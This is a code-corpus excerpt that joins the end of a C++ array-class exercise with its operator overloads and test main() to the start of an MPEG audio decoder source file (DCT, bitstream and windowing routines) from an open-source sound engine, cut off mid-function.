i<tmp.n; i++) { tmp.p[i]=p[i]/a.p[i]; } return tmp; } } intArray<double> intArray<double>::operator +(int a) { intArray tmp; tmp.n=n; tmp.p=new double[n]; if(tmp.p==NULL) tmp.error=1; else tmp.error=0; for(int i=0; i<tmp.n; i++) { tmp.p[i]=p[i]+a; } return tmp; } intArray<double> intArray<double>::operator -(int a) { intArray tmp; tmp.n=n; tmp.p=new double[n]; if(tmp.p==NULL) tmp.error=1; else tmp.error=0; for(int i=0; i<tmp.n; i++) { tmp.p[i]=p[i]-a; } return tmp; } intArray<double> intArray<double>::operator *(int a) { intArray tmp; tmp.n=n; tmp.p=new double[n]; if(tmp.p==NULL) tmp.error=1; else tmp.error=0; for(int i=0; i<tmp.n; i++) { tmp.p[i]=p[i]*a; } return tmp; } intArray<double> intArray<double>::operator /(int a) { intArray tmp; tmp.n=n; tmp.p=new double[n]; if(tmp.p==NULL) tmp.error=1; else tmp.error=0; for(int i=0; i<tmp.n; i++) { tmp.p[i]=p[i]/a; } return tmp; } intArray<double> &intArray<double>::operator ++() { for(int i=0; i<n; i++) p[i]+=1; return *this; } intArray<double> intArray<double>::operator ++(int) { intArray tmp(*this); for(int i=0; i<n; i++) p[i]+=1; return tmp; } intArray<double> &intArray<double>::operator --() { for(int i=0; i<n; i++) p[i]-=1; return *this; } intArray<double> intArray<double>::operator --(int) { intArray tmp(*this); for(int i=0; i<n; i++) p[i]-=1; return tmp; } int &intArray<double>::operator [](int a) { int tmp=getElem(a); return tmp; } void intArray<double>::operator()() { for(int i=0; i<n; i++) cout<<p[i]<<endl; } void *intArray<double>::operator new(size_t size) { printf("operator new %d\n",size); void *m=malloc(size); if(!m) puts("out of memory!\n"); return m; } void intArray<double>::operator delete (void* addr) { puts("operator delete"); free(addr); } intArray<double> &intArray<double>::operator =(const intArray &a)// m=a=a { if(this!=&a) { delete []p; n=a.n; p=new double[n]; if(p==NULL) error=1; else error=0; for(int i=0; i<n; i++) p[i]=a.p[i]; } return *this; } int intArray<double>::operator ==(const intArray &a) { int k=0; if(n==a.n) { for(int i=0; i<n; i++) { if(p[i]==a.p[i])k++; } } if((k==n))return 1; else return 0; } int intArray<double>::operator !=(const intArray &a) { intArray tmp1(*this),tmp2(a); if((tmp1==tmp2)==0)return 1; else return 0; } int intArray<double>::operator >(const intArray &a) { return n>a.n; } int intArray<double>::operator >=(const intArray &a) { return n>=a.n; } int intArray<double>::operator <(const intArray &a) { return n<a.n; } int intArray<double>::operator <=(const intArray &a) { return n<=a.n; } int main() { cout<<"\t********<float>***********"<<endl; intArray<float> a(7),b(3),c,k,*k1; a.fill(); cout<<"output a:\n"; a(); cout<<"Sort a"<<endl; a.sort(); a(); cout<<"getdis: "<<a.getDis()<<endl; cout<<"getRMS: "<<a.getRMS()<<endl; b.fill(); cout<<"output B\n"; b(); cout<<"c=b\n"; c=b; cout<<"output C:\n"; c(); cout<<"c.getmax="<<c.getMax()<<endl; cout<<"c.getmin="<<c.getMin()<<endl; cout<<"c.getavereage="<<c.getAverage()<<endl; cout<<"c.geterror="<<c.getError()<<endl; cout<<"c.getelement(4)="<<c.getElem(4)<<endl; cout<<"c.getN="<<c.getN()<<endl; cout<<"c=a+b\n"; c=a+b; c(); cout<<"c=a-b\n"; c=a-b; c(); cout<<"c=a*b\n"; c=a*b; c(); cout<<"c=a/b\n"; c=a/b; c(); int tmp=9; cout<<"a:\n"; a(); cout<<"c=a+9\n"; c=a+tmp; c(); cout<<"c=a-9\n"; c=a-tmp; c(); cout<<"c=a*9\n"; c=a*tmp; c(); cout<<"c=a/9\n"; c=a/tmp; c(); ++c; cout<<"++c="<<endl; c(); c++; cout<<"c++\n"; c(); --c; cout<<"--c\n"; c(); c--; cout<<"c--\n"; c(); cout<<"c[0]="<<c[0]<<" c[1]="<<c[1]<<endl; cout<<"getcount="<<c.getCount()<<endl; cout<<"operator new:\n"; k1=new(intArray<float>); cout<<"operator delete:\n"; delete(k1); k=a; cout<<"c==a: "<<(c==a)<<" k=a: "<<(k==a)<<endl; cout<<"c!=a: "<<(c!=a)<<" k!=a: "<<(k!=a)<<endl; cout<<"c>a: "<<(c>a)<<" k>a: "<<(k>a)<<endl; cout<<"c>=a: "<<(c>=a)<<" k>=a: "<<(k>=a)<<endl; cout<<"c<a: "<<(c<a)<<" k<a: "<<(k<a)<<endl; cout<<"c<=a: "<<(c<=a)<<" k<=a: "<<(k<=a)<<endl; /*cout<<"k=t+cm=\n"; int tm1=8; k=tm1+c; k(); cout<<"k=c-tm=\n"; k=c-tm1; k(); cout<<"k=tm*c=\n"; k=tm1*c; k(); cout<<"k=c/tm=\n"; k=c/tm1; k();*/ cout<<"\t********<int>***********"<<endl; intArray<int> a1(7),b1(3),c1,k2,*k3; a1.fill(); cout<<"output a1:\n"; a1(); cout<<"Sort a1"<<endl; a1.sort(); a1(); cout<<"getdis: "<<a1.getDis()<<endl; cout<<"getRMS: "<<a1.getRMS()<<endl; b1.fill(); cout<<"output B1\n"; b1(); cout<<"c1=b1\n"; c1=b1; cout<<"output C1:\n"; c1(); cout<<"c1.getmax="<<c1.getMax()<<endl; cout<<"c1.getmin="<<c1.getMin()<<endl; cout<<"c1.getavereage="<<c1.getAverage()<<endl; cout<<"c1.geterror="<<c1.getError()<<endl; cout<<"c1.getelement(4)="<<c1.getElem(4)<<endl; cout<<"c1.getN="<<c1.getN()<<endl; cout<<"c1=a1+b1\n"; c1=a1+b1; c1(); cout<<"c1=a1-b1\n"; c1=a1-b1; c1(); cout<<"c=a*b\n"; c1=a1*b1; c1(); cout<<"c1=a1/b1\n"; c1=a1/b1; c1(); int tmp1=9; cout<<"a1:\n"; a1(); cout<<"c1=a1+9\n"; c1=a1+tmp1; c1(); cout<<"c1=a1-9\n"; c1=a1-tmp1; c1(); cout<<"c1=a1*9\n"; c1=a1*tmp1; c1(); cout<<"c1=a1/9\n"; c1=a1/tmp1; c1(); ++c1; cout<<"++c1="<<endl; c1(); c1++; cout<<"c1++\n"; c1(); --c1; cout<<"--c1\n"; c1(); c1--; cout<<"c1--\n"; c1(); cout<<"c1[0]="<<c1[0]<<" c1[1]="<<c1[1]<<endl; cout<<"getcount="<<c1.getCount()<<endl; cout<<"operator new:\n"; k3=new(intArray<int>); cout<<"operator delete:\n"; delete(k3); k2=a1; cout<<"c1==a1: "<<(c1==a1)<<" k2=a1: "<<(k2==a1)<<endl; cout<<"c1!=a1: "<<(c1!=a1)<<" k2!=a1: "<<(k2!=a1)<<endl; cout<<"c1>a1: "<<(c1>a1)<<" k2>a1: "<<(k2>a1)<<endl; cout<<"c1>=a1: "<<(c1>=a1)<<" k2>=a1: "<<(k2>=a1)<<endl; cout<<"c1<a1: "<<(c1<a1)<<" k2<a1: "<<(k2<a1)<<endl; cout<<"c1<=a1: "<<(c1<=a1)<<" k2<=a1: "<<(k2<=a1)<<endl; cout<<"\t********<double>***********"<<endl; intArray<double> a3(7),b3(3),c3,k5,*k4; a3.fill(); cout<<"output a3:\n"; a3(); cout<<"Sort a3"<<endl; a3.sort(); a3(); cout<<"getdis: "<<a3.getDis()<<endl; cout<<"getRMS: "<<a3.getRMS()<<endl; b3.fill(); cout<<"output B\n"; b3(); cout<<"c3=b3\n"; c3=b3; cout<<"output C3:\n"; c3(); cout<<"c3.getmax="<<c3.getMax()<<endl; cout<<"c3.getmin="<<c3.getMin()<<endl; cout<<"c3.getavereage="<<c3.getAverage()<<endl; cout<<"c3.geterror="<<c3.getError()<<endl; cout<<"c3.getelement(4)="<<c3.getElem(4)<<endl; cout<<"c3.getN="<<c3.getN()<<endl; cout<<"c3=a3+b3\n"; c3=a3+b3; c3(); cout<<"c3=a3-b3\n"; c3=a3-b3; c3(); cout<<"c3=a3*b3\n"; c3=a3*b3; c3(); cout<<"c3=a3/b3\n"; c3=a3/b3; c3(); int tmp3=9; cout<<"a3:\n"; a3(); cout<<"c3=a3+9\n"; c3=a3+tmp3; c3(); cout<<"c3=a3-9\n"; c3=a3-tmp3; c3(); cout<<"c3=a3*9\n"; c3=a3*tmp3; c3(); cout<<"c3=a3/9\n"; c3=a3/tmp3; c3(); ++c3; cout<<"++c3="<<endl; c3(); c3++; cout<<"c3++\n"; c3(); --c3; cout<<"--c3\n"; c3(); c3--; cout<<"c3--\n"; c3(); cout<<"c3[0]="<<c3[0]<<" c3[1]="<<c3[1]<<endl; cout<<"getcount="<<c3.getCount()<<endl; cout<<"operator new:\n"; k4=new(intArray<double>); cout<<"operator delete:\n"; delete(k4); k5=a3; cout<<"c3==a3: "<<(c3==a3)<<" k5=a3: "<<(k5==a3)<<endl; cout<<"c3!=a3: "<<(c3!=a3)<<" k5!=a3: "<<(k5!=a3)<<endl; cout<<"c3>a3: "<<(c3>a3)<<" k5>a3: "<<(k5>a3)<<endl; cout<<"c3>=a3: "<<(c3>=a3)<<" k5>=a3: "<<(k5>=a3)<<endl; cout<<"c3<a3: "<<(c3<a3)<<" k5<a3: "<<(k5<a3)<<endl; cout<<"c3<=a3: "<<(c3<=a3)<<" k5<=a3: "<<(k5<=a3)<<endl; return 0; }
35c09f9ab7ae04a50bc3581cac5374a4e219eb0a
8b70704c3d95378f725c92afbf7fbf7cae19b3ca
/source/SoundFile/MP3/MpegDecoder.cpp
8955f518c1a41744d02f22499ffaae58c4dba9af
[ "MIT" ]
permissive
xtreme3d/squall
a2b55ed8f481472a85091195c69c5a92e5e4ab1a
20988426d2dde0a4b7aa6e18578f59c55d3af3a8
refs/heads/master
2022-11-23T14:05:15.488910
2020-07-19T17:11:38
2020-07-19T17:11:38
33,071,552
3
1
null
null
null
null
UTF-8
C++
false
false
77,394
cpp
MpegDecoder.cpp
//----------------------------------------------------------------------------- // Декодер Mpeg Layer 1,2,3 // Копонент звукового двигателя Шквал // команда : AntiTank // разработчик : Гилязетдинов Марат (Марыч) //----------------------------------------------------------------------------- // включения #include <string.h> #include <math.h> #include "MpegDecoder.h" void CDecompressMpeg::imdct_init() { int k, p, n; double t, pi; n = 18; pi = 4.0 * atan(1.0); t = pi / (4 * n); for (p = 0; p < n; p++) w[p] = (float) (2.0 * cos(t * (2 * p + 1))); for (p = 0; p < 9; p++) w2[p] = (float) (2.0 * cos(2 * t * (2 * p + 1))); t = pi / (2 * n); for (k = 0; k < 9; k++) { for (p = 0; p < 4; p++) coef[k][p] = (float) (cos(t * (2 * k) * (2 * p + 1))); } n = 6; pi = 4.0 * atan(1.0); t = pi / (4 * n); for (p = 0; p < n; p++) v[p] = (float) (2.0 * cos(t * (2 * p + 1))); for (p = 0; p < 3; p++) v2[p] = (float) (2.0 * cos(2 * t * (2 * p + 1))); t = pi / (2 * n); k = 1; p = 0; coef87 = (float) (cos(t * (2 * k) * (2 * p + 1))); for (p = 0; p < 6; p++) v[p] = v[p] / 2.0f; coef87 = (float) (2.0 * coef87); } void CDecompressMpeg::imdct18(float f[18]) /* 18 point */ { int p; float a[9], b[9]; float ap, bp, a8p, b8p; float g1, g2; for (p = 0; p < 4; p++) { g1 = w[p] * f[p]; g2 = w[17 - p] * f[17 - p]; ap = g1 + g2; // a[p] bp = w2[p] * (g1 - g2); // b[p] g1 = w[8 - p] * f[8 - p]; g2 = w[9 + p] * f[9 + p]; a8p = g1 + g2; // a[8-p] b8p = w2[8 - p] * (g1 - g2); // b[8-p] a[p] = ap + a8p; a[5 + p] = ap - a8p; b[p] = bp + b8p; b[5 + p] = bp - b8p; } g1 = w[p] * f[p]; g2 = w[17 - p] * f[17 - p]; a[p] = g1 + g2; b[p] = w2[p] * (g1 - g2); f[0] = 0.5f * (a[0] + a[1] + a[2] + a[3] + a[4]); f[1] = 0.5f * (b[0] + b[1] + b[2] + b[3] + b[4]); f[2] = coef[1][0] * a[5] + coef[1][1] * a[6] + coef[1][2] * a[7] + coef[1][3] * a[8]; f[3] = coef[1][0] * b[5] + coef[1][1] * b[6] + coef[1][2] * b[7] + coef[1][3] * b[8] - f[1]; f[1] = f[1] - f[0]; f[2] = f[2] - f[1]; f[4] = coef[2][0] * a[0] + coef[2][1] * a[1] + coef[2][2] * a[2] + coef[2][3] * a[3] - a[4]; f[5] = coef[2][0] * b[0] + coef[2][1] * b[1] + coef[2][2] * b[2] + coef[2][3] * b[3] - b[4] - f[3]; f[3] = f[3] - f[2]; f[4] = f[4] - f[3]; f[6] = coef[3][0] * (a[5] - a[7] - a[8]); f[7] = coef[3][0] * (b[5] - b[7] - b[8]) - f[5]; f[5] = f[5] - f[4]; f[6] = f[6] - f[5]; f[8] = coef[4][0] * a[0] + coef[4][1] * a[1] + coef[4][2] * a[2] + coef[4][3] * a[3] + a[4]; f[9] = coef[4][0] * b[0] + coef[4][1] * b[1] + coef[4][2] * b[2] + coef[4][3] * b[3] + b[4] - f[7]; f[7] = f[7] - f[6]; f[8] = f[8] - f[7]; f[10] = coef[5][0] * a[5] + coef[5][1] * a[6] + coef[5][2] * a[7] + coef[5][3] * a[8]; f[11] = coef[5][0] * b[5] + coef[5][1] * b[6] + coef[5][2] * b[7] + coef[5][3] * b[8] - f[9]; f[9] = f[9] - f[8]; f[10] = f[10] - f[9]; f[12] = 0.5f * (a[0] + a[2] + a[3]) - a[1] - a[4]; f[13] = 0.5f * (b[0] + b[2] + b[3]) - b[1] - b[4] - f[11]; f[11] = f[11] - f[10]; f[12] = f[12] - f[11]; f[14] = coef[7][0] * a[5] + coef[7][1] * a[6] + coef[7][2] * a[7] + coef[7][3] * a[8]; f[15] = coef[7][0] * b[5] + coef[7][1] * b[6] + coef[7][2] * b[7] + coef[7][3] * b[8] - f[13]; f[13] = f[13] - f[12]; f[14] = f[14] - f[13]; f[16] = coef[8][0] * a[0] + coef[8][1] * a[1] + coef[8][2] * a[2] + coef[8][3] * a[3] + a[4]; f[17] = coef[8][0] * b[0] + coef[8][1] * b[1] + coef[8][2] * b[2] + coef[8][3] * b[3] + b[4] - f[15]; f[15] = f[15] - f[14]; f[16] = f[16] - f[15]; f[17] = f[17] - f[16]; } /*--------------------------------------------------------------------*/ /* does 3, 6 pt dct. changes order from f[i][window] c[window][i] */ void CDecompressMpeg::imdct6_3(float f[]) /* 6 point */ { int w; float buf[18]; float* a,* c; // b[i] = a[3+i] float g1, g2; float a02, b02; c = f; a = buf; for (w = 0; w < 3; w++) { g1 = v[0] * f[3 * 0]; g2 = v[5] * f[3 * 5]; a[0] = g1 + g2; a[3 + 0] = v2[0] * (g1 - g2); g1 = v[1] * f[3 * 1]; g2 = v[4] * f[3 * 4]; a[1] = g1 + g2; a[3 + 1] = v2[1] * (g1 - g2); g1 = v[2] * f[3 * 2]; g2 = v[3] * f[3 * 3]; a[2] = g1 + g2; a[3 + 2] = v2[2] * (g1 - g2); a += 6; f++; } a = buf; for (w = 0; w < 3; w++) { a02 = (a[0] + a[2]); b02 = (a[3 + 0] + a[3 + 2]); c[0] = a02 + a[1]; c[1] = b02 + a[3 + 1]; c[2] = coef87 * (a[0] - a[2]); c[3] = coef87 * (a[3 + 0] - a[3 + 2]) - c[1]; c[1] = c[1] - c[0]; c[2] = c[2] - c[1]; c[4] = a02 - a[1] - a[1]; c[5] = b02 - a[3 + 1] - a[3 + 1] - c[3]; c[3] = c[3] - c[2]; c[4] = c[4] - c[3]; c[5] = c[5] - c[4]; a += 6; c += 6; } } void CDecompressMpeg::fdct_init() /* gen coef for N=32 (31 coefs) */ { int p, n, i, k; double t, pi; pi = 4.0 * atan(1.0); n = 16; k = 0; for (i = 0; i < 5; i++, n = n / 2) { for (p = 0; p < n; p++, k++) { t = (pi / (4 * n)) * (2 * p + 1); coef32[k] = (float) (0.50 / cos(t)); } } } void CDecompressMpeg::forward_bf(int m, int n, float x[], float f[], float coef[]) { int i, j, n2; int p, q, p0, k; p0 = 0; n2 = n >> 1; for (i = 0; i < m; i++, p0 += n) { k = 0; p = p0; q = p + n - 1; for (j = 0; j < n2; j++, p++, q--, k++) { f[p] = x[p] + x[q]; f[n2 + p] = coef[k] * (x[p] - x[q]); } } } void CDecompressMpeg::back_bf(int m, int n, float x[], float f[]) { int i, j, n2, n21; int p, q, p0; p0 = 0; n2 = n >> 1; n21 = n2 - 1; for (i = 0; i < m; i++, p0 += n) { p = p0; q = p0; for (j = 0; j < n2; j++, p += 2, q++) f[p] = x[q]; p = p0 + 1; for (j = 0; j < n21; j++, p += 2, q++) f[p] = x[q] + x[q + 1]; f[p] = x[q]; } } void CDecompressMpeg::fdct32(float x[], float c[]) { float a[32]; /* ping pong buffers */ float b[32]; int p, q; // если эквалайзер включен занести значения /* if (m_enableEQ) { for (p = 0; p < 32; p++) x[p] *= m_equalizer[p]; }*/ /* special first stage */ for (p = 0, q = 31; p < 16; p++, q--) { a[p] = x[p] + x[q]; a[16 + p] = coef32[p] * (x[p] - x[q]); } forward_bf(2, 16, a, b, coef32 + 16); forward_bf(4, 8, b, a, coef32 + 16 + 8); forward_bf(8, 4, a, b, coef32 + 16 + 8 + 4); forward_bf(16, 2, b, a, coef32 + 16 + 8 + 4 + 2); back_bf(8, 4, a, b); back_bf(4, 8, b, a); back_bf(2, 16, a, b); back_bf(1, 32, b, c); } void CDecompressMpeg::fdct32_dual(float x[], float c[]) { float a[32]; /* ping pong buffers */ float b[32]; int p, pp, qq; /* if (m_enableEQ) { for (p = 0; p < 32; p++) x[p] *= m_equalizer[p]; }*/ /* special first stage for dual chan (interleaved x) */ pp = 0; qq = 2 * 31; for (p = 0; p < 16; p++, pp += 2, qq -= 2) { a[p] = x[pp] + x[qq]; a[16 + p] = coef32[p] * (x[pp] - x[qq]); } forward_bf(2, 16, a, b, coef32 + 16); forward_bf(4, 8, b, a, coef32 + 16 + 8); forward_bf(8, 4, a, b, coef32 + 16 + 8 + 4); forward_bf(16, 2, b, a, coef32 + 16 + 8 + 4 + 2); back_bf(8, 4, a, b); back_bf(4, 8, b, a); back_bf(2, 16, a, b); back_bf(1, 32, b, c); } void CDecompressMpeg::fdct32_dual_mono(float x[], float c[]) { float a[32]; /* ping pong buffers */ float b[32]; float t1, t2; int p, pp, qq; /* special first stage */ pp = 0; qq = 2 * 31; for (p = 0; p < 16; p++, pp += 2, qq -= 2) { t1 = 0.5F * (x[pp] + x[pp + 1]); t2 = 0.5F * (x[qq] + x[qq + 1]); a[p] = t1 + t2; a[16 + p] = coef32[p] * (t1 - t2); } forward_bf(2, 16, a, b, coef32 + 16); forward_bf(4, 8, b, a, coef32 + 16 + 8); forward_bf(8, 4, a, b, coef32 + 16 + 8 + 4); forward_bf(16, 2, b, a, coef32 + 16 + 8 + 4 + 2); back_bf(8, 4, a, b); back_bf(4, 8, b, a); back_bf(2, 16, a, b); back_bf(1, 32, b, c); } void CDecompressMpeg::fdct16(float x[], float c[]) { float a[16]; /* ping pong buffers */ float b[16]; int p, q; /* special first stage (drop highest sb) */ a[0] = x[0]; a[8] = coef32[16] * x[0]; for (p = 1, q = 14; p < 8; p++, q--) { a[p] = x[p] + x[q]; a[8 + p] = coef32[16 + p] * (x[p] - x[q]); } forward_bf(2, 8, a, b, coef32 + 16 + 8); forward_bf(4, 4, b, a, coef32 + 16 + 8 + 4); forward_bf(8, 2, a, b, coef32 + 16 + 8 + 4 + 2); back_bf(4, 4, b, a); back_bf(2, 8, a, b); back_bf(1, 16, b, c); } void CDecompressMpeg::fdct16_dual(float x[], float c[]) { float a[16]; /* ping pong buffers */ float b[16]; int p, pp, qq; /* special first stage for interleaved input */ a[0] = x[0]; a[8] = coef32[16] * x[0]; pp = 2; qq = 2 * 14; for (p = 1; p < 8; p++, pp += 2, qq -= 2) { a[p] = x[pp] + x[qq]; a[8 + p] = coef32[16 + p] * (x[pp] - x[qq]); } forward_bf(2, 8, a, b, coef32 + 16 + 8); forward_bf(4, 4, b, a, coef32 + 16 + 8 + 4); forward_bf(8, 2, a, b, coef32 + 16 + 8 + 4 + 2); back_bf(4, 4, b, a); back_bf(2, 8, a, b); back_bf(1, 16, b, c); } void CDecompressMpeg::fdct16_dual_mono(float x[], float c[]) { float a[16]; /* ping pong buffers */ float b[16]; float t1, t2; int p, pp, qq; /* special first stage */ a[0] = 0.5F * (x[0] + x[1]); a[8] = coef32[16] * a[0]; pp = 2; qq = 2 * 14; for (p = 1; p < 8; p++, pp += 2, qq -= 2) { t1 = 0.5F * (x[pp] + x[pp + 1]); t2 = 0.5F * (x[qq] + x[qq + 1]); a[p] = t1 + t2; a[8 + p] = coef32[16 + p] * (t1 - t2); } forward_bf(2, 8, a, b, coef32 + 16 + 8); forward_bf(4, 4, b, a, coef32 + 16 + 8 + 4); forward_bf(8, 2, a, b, coef32 + 16 + 8 + 4 + 2); back_bf(4, 4, b, a); back_bf(2, 8, a, b); back_bf(1, 16, b, c); } void CDecompressMpeg::fdct8(float x[], float c[]) { float a[8]; /* ping pong buffers */ float b[8]; int p, q; /* special first stage */ b[0] = x[0] + x[7]; b[4] = coef32[16 + 8] * (x[0] - x[7]); for (p = 1, q = 6; p < 4; p++, q--) { b[p] = x[p] + x[q]; b[4 + p] = coef32[16 + 8 + p] * (x[p] - x[q]); } forward_bf(2, 4, b, a, coef32 + 16 + 8 + 4); forward_bf(4, 2, a, b, coef32 + 16 + 8 + 4 + 2); back_bf(2, 4, b, a); back_bf(1, 8, a, c); } void CDecompressMpeg::fdct8_dual(float x[], float c[]) { float a[8]; /* ping pong buffers */ float b[8]; int p, pp, qq; /* special first stage for interleaved input */ b[0] = x[0] + x[14]; b[4] = coef32[16 + 8] * (x[0] - x[14]); pp = 2; qq = 2 * 6; for (p = 1; p < 4; p++, pp += 2, qq -= 2) { b[p] = x[pp] + x[qq]; b[4 + p] = coef32[16 + 8 + p] * (x[pp] - x[qq]); } forward_bf(2, 4, b, a, coef32 + 16 + 8 + 4); forward_bf(4, 2, a, b, coef32 + 16 + 8 + 4 + 2); back_bf(2, 4, b, a); back_bf(1, 8, a, c); } void CDecompressMpeg::fdct8_dual_mono(float x[], float c[]) { float a[8]; /* ping pong buffers */ float b[8]; float t1, t2; int p, pp, qq; /* special first stage */ t1 = 0.5F * (x[0] + x[1]); t2 = 0.5F * (x[14] + x[15]); b[0] = t1 + t2; b[4] = coef32[16 + 8] * (t1 - t2); pp = 2; qq = 2 * 6; for (p = 1; p < 4; p++, pp += 2, qq -= 2) { t1 = 0.5F * (x[pp] + x[pp + 1]); t2 = 0.5F * (x[qq] + x[qq + 1]); b[p] = t1 + t2; b[4 + p] = coef32[16 + 8 + p] * (t1 - t2); } forward_bf(2, 4, b, a, coef32 + 16 + 8 + 4); forward_bf(4, 2, a, b, coef32 + 16 + 8 + 4 + 2); back_bf(2, 4, b, a); back_bf(1, 8, a, c); } void CDecompressMpeg::bitget_init(unsigned char* buf) { bs_ptr0 = bs_ptr = buf; bits = 0; bitbuf = 0; } int CDecompressMpeg::bitget(int n) { unsigned int x; if (bits < n) { /* refill bit buf if necessary */ while (bits <= 24) { bitbuf = (bitbuf << 8) | *bs_ptr++; bits += 8; } } bits -= n; x = bitbuf >> bits; bitbuf -= x << bits; return x; } void CDecompressMpeg::bitget_skip(int n) { unsigned int k; if (bits < n) { n -= bits; k = n >> 3; /*--- bytes = n/8 --*/ bs_ptr += k; n -= k << 3; bitbuf = *bs_ptr++; bits = 8; } bits -= n; bitbuf -= (bitbuf >> bits) << bits; } void CDecompressMpeg::bitget_init_end(unsigned char* buf_end) { bs_ptr_end = buf_end; } int CDecompressMpeg::bitget_overrun() { return bs_ptr > bs_ptr_end; } int CDecompressMpeg::bitget_bits_used() { unsigned int n; n = ((bs_ptr - bs_ptr0) << 3) - bits; return n; } void CDecompressMpeg::bitget_check(int n) { if (bits < n) { while (bits <= 24) { bitbuf = (bitbuf << 8) | *bs_ptr++; bits += 8; } } } /* only huffman */ /*----- get n bits - checks for n+2 avail bits (linbits+sign) -----*/ int CDecompressMpeg::bitget_lb(int n) { unsigned int x; if (bits < (n + 2)) { /* refill bit buf if necessary */ while (bits <= 24) { bitbuf = (bitbuf << 8) | *bs_ptr++; bits += 8; } } bits -= n; x = bitbuf >> bits; bitbuf -= x << bits; return x; } /*------------- get n bits but DO NOT remove from bitstream --*/ int CDecompressMpeg::bitget2(int n) { unsigned int x; if (bits < (MAXBITS + 2)) { /* refill bit buf if necessary */ while (bits <= 24) { bitbuf = (bitbuf << 8) | *bs_ptr++; bits += 8; } } x = bitbuf >> (bits - n); return x; } /*------------- remove n bits from bitstream ---------*/ void CDecompressMpeg::bitget_purge(int n) { bits -= n; bitbuf -= (bitbuf >> bits) << bits; } void CDecompressMpeg::mac_bitget_check(int n) { if (bits < n) { while (bits <= 24) { bitbuf = (bitbuf << 8) | *bs_ptr++; bits += 8; } } } int CDecompressMpeg::mac_bitget(int n) { unsigned int code; bits -= n; code = bitbuf >> bits; bitbuf -= code << bits; return code; } int CDecompressMpeg::mac_bitget2(int n) { return (bitbuf >> (bits - n)); } int CDecompressMpeg::mac_bitget_1bit() { unsigned int code; bits--; code = bitbuf >> bits; bitbuf -= code << bits; return code; } void CDecompressMpeg::mac_bitget_purge(int n) { bits -= n; bitbuf -= (bitbuf >> bits) << bits; } void CDecompressMpeg::windowB(float* vbuf, int vb_ptr, unsigned char* pcm) { int i, j; int si, bx; float* coef; float sum; long tmp; si = vb_ptr + 16; bx = (si + 32) & 511; coef = wincoef; /*-- first 16 --*/ for (i = 0; i < 16; i++) { sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[si]; si = (si + 64) & 511; sum -= (*coef++) * vbuf[bx]; bx = (bx + 64) & 511; } si++; bx--; tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = ((unsigned char) (tmp >> 8)) ^ 0x80; } /*-- special case --*/ sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[bx]; bx = (bx + 64) & 511; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = ((unsigned char) (tmp >> 8)) ^ 0x80; /*-- last 15 --*/ coef = wincoef + 255; /* back pass through coefs */ for (i = 0; i < 15; i++) { si--; bx++; sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef--) * vbuf[si]; si = (si + 64) & 511; sum += (*coef--) * vbuf[bx]; bx = (bx + 64) & 511; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = ((unsigned char) (tmp >> 8)) ^ 0x80; } } void CDecompressMpeg::windowB_dual(float* vbuf, int vb_ptr, unsigned char* pcm) { int i, j; /* dual window interleaves output */ int si, bx; float* coef; float sum; long tmp; si = vb_ptr + 16; bx = (si + 32) & 511; coef = wincoef; /*-- first 16 --*/ for (i = 0; i < 16; i++) { sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[si]; si = (si + 64) & 511; sum -= (*coef++) * vbuf[bx]; bx = (bx + 64) & 511; } si++; bx--; tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = ((unsigned char) (tmp >> 8)) ^ 0x80; pcm += 2; } /*-- special case --*/ sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[bx]; bx = (bx + 64) & 511; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = ((unsigned char) (tmp >> 8)) ^ 0x80; pcm += 2; /*-- last 15 --*/ coef = wincoef + 255; /* back pass through coefs */ for (i = 0; i < 15; i++) { si--; bx++; sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef--) * vbuf[si]; si = (si + 64) & 511; sum += (*coef--) * vbuf[bx]; bx = (bx + 64) & 511; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = ((unsigned char) (tmp >> 8)) ^ 0x80; pcm += 2; } } void CDecompressMpeg::windowB16(float* vbuf, int vb_ptr, unsigned char* pcm) { int i, j; unsigned char si, bx; float* coef; float sum; long tmp; si = vb_ptr + 8; bx = si + 16; coef = wincoef; /*-- first 8 --*/ for (i = 0; i < 8; i++) { sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[si]; si += 32; sum -= (*coef++) * vbuf[bx]; bx += 32; } si++; bx--; coef += 16; tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = ((unsigned char) (tmp >> 8)) ^ 0x80; } /*-- special case --*/ sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[bx]; bx += 32; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = ((unsigned char) (tmp >> 8)) ^ 0x80; /*-- last 7 --*/ coef = wincoef + 255; /* back pass through coefs */ for (i = 0; i < 7; i++) { coef -= 16; si--; bx++; sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef--) * vbuf[si]; si += 32; sum += (*coef--) * vbuf[bx]; bx += 32; } tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm++ = ((unsigned char) (tmp >> 8)) ^ 0x80; } } void CDecompressMpeg::windowB16_dual(float* vbuf, int vb_ptr, unsigned char* pcm) { int i, j; unsigned char si, bx; float* coef; float sum; long tmp; si = vb_ptr + 8; bx = si + 16; coef = wincoef; /*-- first 8 --*/ for (i = 0; i < 8; i++) { sum = 0.0F; for (j = 0; j < 8; j++) { sum += (*coef++) * vbuf[si]; si += 32; sum -= (*coef++) * vbuf[bx]; bx += 32; } si++; bx--; coef += 16; tmp = (long) sum; if (tmp > 32767) tmp = 32767; else if (tmp < -32768) tmp = -32768; *pcm = ((unsigned char) (tmp >> 8)) ^ 0x80; pcm += 2; } /*-- special case --*/ sum = 0.0F; for (j = 0; j < 